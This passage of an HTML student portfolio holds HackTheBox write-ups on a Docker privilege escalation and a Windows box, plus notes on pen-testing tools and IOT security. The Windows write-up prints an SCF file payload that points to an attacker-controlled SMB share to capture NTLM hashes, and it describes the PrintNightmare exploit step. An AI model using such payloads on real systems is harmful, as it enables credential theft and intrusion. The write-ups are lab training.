src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 080804898Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
